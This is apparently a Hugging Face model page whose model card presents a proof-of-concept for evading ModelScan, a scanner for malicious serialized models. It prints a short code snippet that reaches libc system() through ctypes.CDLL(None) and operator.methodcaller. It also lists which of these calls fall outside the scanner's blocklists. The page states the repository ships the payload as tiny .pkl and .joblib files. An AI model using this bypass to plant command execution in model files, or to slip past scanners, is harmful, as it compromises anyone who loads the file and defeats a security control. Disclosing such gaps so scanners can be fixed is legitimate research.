Downloads · 30 days
0
modelscan-ctypes-bypass-poc
xiaoyaoes/modelscan-ctypes-bypass-poc
modelscan-ctypes-bypass-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for generic.
This bypass calls the C library's system() function directly, completely bypassing Python-level function blocklists.
Access
Public
Updated Jun 18, 2026
Repo size
255 B
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.5 KB · 61%
At a glance
- Library
- generic
- Access
- Public
- Created
- Jun 18, 2026
- Updated
- Jun 18, 2026
- SHA
- 672e01e1
Model card
From the Hugging Face model README
ModelScan Bypass PoC: ctypes.CDLL(None) + operator.methodcaller()
This bypass calls the C library's system() function directly, completely bypassing Python-level function blocklists.
import ctypes, operator
operator.call(
operator.methodcaller("system", b"CMD"),
ctypes.CDLL(None)
)
- ctypes ∉ any blocklist ✅
- operator.methodcaller ∉ blocklist (only attrgetter is) ✅
- operator.call ∉ blocklist ✅
- CDLL(None).system() calls libc system() directly — no Python exec/eval involved ✅
Size: 117 bytes (.pkl) / 141 bytes (.joblib)
- Library
- generic
- Created
- Jun 18, 2026
- Updated
- Jun 18, 2026